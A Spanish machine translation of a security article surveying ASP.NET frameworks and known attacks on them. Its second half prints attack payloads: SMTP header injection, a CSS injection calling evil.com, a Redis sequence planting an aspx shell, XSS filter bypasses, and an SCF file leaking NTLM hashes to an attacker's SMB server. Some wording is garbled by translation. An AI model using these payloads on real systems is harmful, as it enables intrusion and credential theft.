¿Es posible hackear la infraestructura ASP?



Como dicen los expertos en seguridad de la información: "Rompen todo, a todos y siempre". Al mismo tiempo, los ataques a ASP.NET son algo raro. Por lo tanto, siempre es extremadamente curioso aprender algo nuevo sobre esto. Bajo el corte, la historia de Aleksey Morozov, especialista en el departamento de seguridad de la información del Grupo Rambler, sobre las fortalezas y debilidades de esta tecnología.

Introduccion


Hoy ASP se ha ganado su popularidad como herramienta para crear proyectos medianos y grandes. Y, como cualquier solución popular, ASP.NET también es de interés para investigadores de seguridad externos, piratas informáticos y probadores.

Este artículo analiza los posibles problemas de seguridad de ASP.NET en varias versiones. Sin embargo, debe tenerse en cuenta que ASP es muy inferior en el número de soluciones para el mismo PHP, y esto se debe a muchos factores.

A diferencia de PHP, usar ASP suele ser mucho más complicado y costoso (usando la versión comercial de IIS, el entorno de desarrollo de Visual Studio). Hasta hace poco (el advenimiento de ASP.NET Core), el uso solo era posible en Windows y en el servidor web IIS. La implementación también es más complicada.

ASP ( Active Server Pages ) es la tecnología de Microsoft para crear páginas dinámicas.

Descripción: esta tecnología permite crear páginas HTML con inserciones en el lenguaje Jscript (muy similar a JavaScript, pero además de las secuencias de comandos del cliente, tiene varias opciones para trabajar con el sistema operativo Windows y las inserciones del servidor en ASP)

Un ejemplo :

<% @ Language = "JScript" %><% Response.Write("Hello World!"); %> 

ASP.NET

La siguiente ronda de desarrollo tecnológico fue la creación del núcleo ASP basado en el marco .Net. Como resultado, ASP recibió todas las características de esta solución, a saber:

  • uso de diferentes lenguajes de programación (C #, Visual Basic.NET, J # y JScript .NET);
  • mayor velocidad en comparación con las tecnologías de secuencias de comandos, ya que la primera vez que el código se compila y se coloca en un caché especial, y posteriormente solo se ejecuta, sin requerir un análisis, optimización que requiere mucho tiempo;
  • código compilado que le permite detectar mejor los errores, por lo que el proceso de depuración se vuelve más eficiente;
  • la capacidad de almacenar en caché la página;
  • separación de la presentación de la lógica empresarial.

Basado en la solución ASP.NET, se han creado las siguientes tecnologías, que consideraremos.

ASP.NET Ajax es una de las extensiones de ASP.NET que le permite usar Ajax para actualizar asincrónicamente parte del contenido.

Un ejemplo :

 <asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel> 

ASP.NET Web Forms : una nueva evolución de la tecnología ASP, en la que hay una transición a un modelo orientado a componentes para crear aplicaciones.

Descripción:

El modelo de formularios web se basa en tres conceptos básicos: devolución de página, estado de la vista y controles del servidor. Cada solicitud HTTP enviada al servidor web y asignada al tiempo de ejecución ASP.NET pasa por varias etapas en las que el procesamiento del evento de devolución de datos ocupa un lugar central. El evento de devolución de datos es la acción principal que el usuario espera recibir como resultado del procesamiento de su solicitud. (por ejemplo, haga clic en un botón).

En pocas palabras, hay controles tradicionales (controles) y un modelo de desarrollo basado en eventos.

Un ejemplo :

La vista (archivo aspx) es del lado del cliente.

 <%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html> 

Procesamiento lógico (archivo cs (si usa C #)) - lado del servidor.

 using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } } 

ASP.NET Web API es otra extensión que le permite crear servicios API para un desarrollo e interacción más convenientes con la aplicación.

Un ejemplo :

 [HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); } 

ASP.NET MVC : la siguiente etapa en el desarrollo de la tecnología ocurre después de la separación de la lógica empresarial en tres componentes del patrón MVC (Modelo-Vista-Controlador). El motor de la maquinilla de afeitar también se está introduciendo y es posible personalizar de forma independiente los elementos administrados del sitio, lo cual fue muy difícil con los formularios web.

Ventajas :

  • la gestión de estructuras complejas se facilita dividiendo la aplicación en un modelo, presentación y controlador;
  • no se utilizan los formularios de vista de estado y servidor. Esto hace que la plataforma MVC sea ideal para desarrolladores que necesitan un control completo sobre el comportamiento de la aplicación;
  • El circuito del controlador principal en el que las solicitudes de aplicaciones web se procesan a través de un solo controlador. Esto le permite crear aplicaciones que admitan una infraestructura de enrutamiento extendida;
  • Muy adecuado para aplicaciones web compatibles con grandes equipos de desarrollo.

Un ejemplo :

Vista

 @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html> 

Modelo

 using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } } 

Controlador

 using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } } 

ASP.NET Core : el próximo avance en ASP.NET se está convirtiendo en multiplataforma, con soporte para C # 7.0.
TecnologíaFortalezasDebilidades
Páginas Active Server, ASPObjetivo comúnInterpretado en tiempo de ejecución, admite "código de espagueti"
ASP.NET Web Forms 1.0 / 1.1Compilado, UI, soporta OOPAlto rendimiento, HTML complejo, no comprobable
ASP.NET Web Forms 2.0--
ASP.NET AjaxImplementación de AjaxComplejidad irrazonable, falta de flexibilidad
ASP.NET Web Forms 3.5-4.0--
ASP.NET MVC 1.0-5.0El modelo de desarrollo está cambiando por completo. Hay flexibilidadLa falta de plataforma cruzada. Incapaz de compilar sobre la marcha
ASP.NET CoreAparece la plataforma cruzada. Código abierto-

Autenticación en ASP.NET


Hay tres tipos de autenticación en ASP.NET MVC que son significativamente diferentes entre sí.

  • Sin autenticación: identidad ASP.NET y sin sistema de autenticación incorporado;
  • Cuentas de usuario individuales: el proyecto incluye de manera predeterminada el sistema de identidad ASP.NET, que le permite autorizar a los usuarios tanto dentro de la aplicación como a través de servicios externos como google, twitter, etc.
  • Cuentas organizacionales: adecuadas para sitios y aplicaciones web de empresas y organizaciones individuales;
  • Autenticación de Windows: un sistema de autenticación para redes de intranet que utilizan cuentas de Windows.



ASP.NET en términos de piratería


Como cualquier tecnología, ASP.NET ha sido hackeado. A continuación, describiremos los estudios de seguridad más populares, incluidos no solo en ASP, sino también en conjunto con la infraestructura.

Estadísticas CVE



Como se puede ver en la tabla, las estadísticas sobre hallazgos son muy pocas. Esto se debe a que ASP.NET requiere un buen conocimiento para examinarlo en detalle. Y también los recursos en él son mucho menores que en el mismo PHP.

Uso de un byte nulo para omisión de autorización

CVE: CVE-2011-3416
Descripción: es posible omitir la autorización.

Algoritmo

  1. Registre una nueva cuenta con un nombre de usuario existente;
  2. Al registrarse, agregue caracteres de byte nulo y adicionales (admin% 0012sd);
  3. Por lo tanto, se pasará la verificación de unicidad. Se creará un nuevo usuario "admin" con el mismo rol, pero con una nueva contraseña.

Ejemplo de código vulnerable :

 If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “   .” + “   ”); } } 

Prueba de concepto :


Solución: este error se corrigió en .Net 3.5

Depuración remota

Descripción: dado que ASP.NET es una aplicación compilada, tiene ciertas características de depuración. Microsoft le permite usar un depurador remoto para trabajar en la versión de depuración de la aplicación.

Si este puerto está abierto en Internet y está protegido por una contraseña simple o no hay ninguna contraseña, entonces es posible recoger un depurador. Además, esto le permitirá influir en la aplicación en modo DEPURAR. Incluyendo extraer contraseñas, cambiar la lógica, realizar el seguimiento, etc.

Prueba de concepto :



Solución: use una contraseña segura y no exponga el servicio para la depuración.

Inyección de encabezado SMTP

Descripción: debe recordar una pequeña especificación del protocolo SMTP.
Un ejemplo de cómo se ve un paquete de mensaje simple SMTP normal:

 Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32  Lunch today? 

Obviamente, en ausencia de validación del valor que cae en el encabezado "Para", es posible redirigir la carta a otro destinatario. Pero eso sería demasiado simple y obvio, por lo que la validación ya está sucediendo en el nivel .Net.

Sin embargo, si introduce un nuevo encabezado Reply-To, una dirección para respuestas, muchas formas como "Contraseña olvidada" a menudo toman la dirección de envío, por lo tanto, es suficiente para introducir caracteres de retorno de carro y avance de línea y obtener una carga de trabajo.

 ... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ...      : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> 

Ejemplo de código vulnerable:

 MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m); 

Prueba de concepto :


Solución: no escriba código complejo, use .Net nuevo

RCE en vista parcial

Descripción: Hay dos conceptos importantes en la terminología ASP.NET MVC:
Ver es la vista que ve el usuario. Como ya se señaló, gracias a los motores de formularios web o de afeitar, es posible implementar código del lado del servidor.
Vista parcial - Vista parcial . Esto forma parte del contenido de la Vista, extraído en un archivo separado para mayor comodidad.

Es necesario tener algún campo en la Vista parcial, que se representa en html y en el que es posible ingresar una carga peligrosa.

Ejemplo de carga: obtener la contraseña del usuario actual

 @((Account.Models.User)Session[“User”].Password 

Como resultado de ingresar a la Vista, este código se ejecutará. Dado que las directivas serán reconocidas como un motor de afeitar. La siguiente figura muestra cómo sucede esto.

Algoritmo

  1. El usuario hace una solicitud al controlador;
  2. El controlador representa la vista;
  3. Dentro de la Vista, se encuentra una Vista parcial, después de lo cual se realiza nuevamente una solicitud al controlador, que es responsable de representar la vista parcial;
  4. La Vista parcial finalizada se devuelve a la primaria y la primaria al usuario.



Prueba de concepto :



Un ejemplo simplificado :

 @{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view –   @model string @{ Layout = null; } @Model Index view –   @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); } 

Prueba de concepto :



PD: intentar reproducir no tiene éxito.

Inyección CSRF y CSS

Estas vulnerabilidades implican interacción con el usuario.

CSRF ( falsificación de solicitud de sitio cruzado ) : falsificación de solicitud de sitio cruzado.

Algoritmo

  1. El usuario llega al sitio del hacker;
  2. Rellena los campos del formulario;
  3. Los datos del formulario se envían a otro sitio en nombre del usuario y con su función;
  4. Por lo tanto, el usuario, sin darse cuenta, realizó algunas acciones en otro recurso.

Para protegerse contra este tipo de ataque, se inventaron tokens CSRF, como regla, esta es una cadena que contiene una secuencia de caracteres.

Se encontró una vulnerabilidad que eludía la protección contra CSRF. Solo era necesario usar una cadena mucho menos que el original como token.

Ficha regular

 <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" /> 

Token vulnerable

 <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" /> 

La carga para robar el token a través de CSS (no XSS):
En el caso de que truncar el token no ayude, puede recurrir al ataque de inyección CSS, que le permite robar el token de la página y dibujarlo en su recurso. Gracias a esto, se entrega un token real al usuario, y la solicitud necesaria en el sitio se realiza en su nombre.

Cargar ejemplo :

 %0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;} 

XXE en DocX

Descripción: ASP.NET, como otras tecnologías, utiliza muchas soluciones de terceros. En una de estas soluciones que se integran en ASP.NET, se encontró la vulnerabilidad XXE (Entidades externas XML), que consiste en un error de analizador xml y la capacidad de conectar entidades externas que pueden contener datos críticos. Lea más sobre XXE en las páginas de OWASP .

En este caso, el componente es responsable de cargar y analizar archivos docx (Microsoft World). Dado que cualquier documento de Office es en realidad un conjunto de archivos xml, el análisis puede provocar un ataque XXE.

Algoritmo

  1. Documento de oficina desempaquetado;
  2. La carga se está introduciendo;
  3. Se embala de nuevo como docx;
  4. Se vierte en el servidor para su procesamiento, donde se utiliza un componente vulnerable.

Prueba de concepto :



RCE vía Redis

Descripción: además de los componentes vulnerables, el pirateo de ASP.NET se puede combinar con tecnologías vulnerables. Por ejemplo, se conoce una vulnerabilidad de larga data en el sistema de almacenamiento RAM de Redis que permite que se ejecute código arbitrario en el lado del servidor. A continuación, este ataque se considerará en relación con ASP.

Algoritmo

  1. Conexión a Redis. Es importante que se ejecute en el mismo servidor que el servidor web;
  2. Realizando la siguiente lista y utilizando un servidor web para ver la página resultante, se ejecutará un código arbitrario. En este caso, llamando a la calculadora:

 config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save 

Prueba de concepto :



Filtro Bypass XSS

ASP.NET tiene su propio mecanismo para filtrar datos de ataques de la clase XSS. Cuando intenta transferir caracteres o firmas prohibidas, se activa la siguiente protección:



Sin embargo, hay muchas formas de evitar esta protección. Aquí hay algunos de ellos:

  • % EF% BC% 9Cimg% 20src% 3Dxxx% 20onerror% Alerta 3D (1) % EF% BC% 9E
  • <- / script> alerta (1) ;
  • </ XSS / * - * / STYLE = xss: e / ** / xpression ( alert ('XSS') )>
  • % uff1cscript% uff1e alerta ('XSS') ;% uff1c / script% uff1e

En las últimas versiones, estos métodos ya no funcionan, sin embargo, como ya se mencionó, la tecnología ASP.NET se creó principalmente para proyectos grandes y largos, por lo que muchos recursos pueden verse afectados por esta vulnerabilidad.

Archivo de comandos de Shell

Descripción: no hace mucho tiempo, una vulnerabilidad relacionada con el navegador Google Chrome tronó, cuya esencia es robar el hash NTLM del usuario.

Algoritmo

1) Se prepara un archivo con la extensión scf y los siguientes contenidos

 [Shell] IconFile=\\***.**.*.***\icon 

donde en lugar de asteriscos ip es la dirección del servidor smb del atacante;

2) Cuando llega a la computadora del usuario, este archivo ni siquiera requiere abrirse. Es suficiente que el usuario simplemente vaya a la misma carpeta donde se encuentra este archivo. Tan pronto como esto suceda, se enviará un paquete hash al servidor SMB;

3) Por lo tanto, el pirateo de infraestructura también se puede combinar con vulnerabilidades simples como Open Redirect.

Prueba de concepto :




Gracias por su atencion! Comparta su experiencia y deje preguntas a Alexei Morozov (también conocido como SoolFaa ) en los comentarios a este artículo.

Source: https://habr.com/ru/post/es413649/


All Articles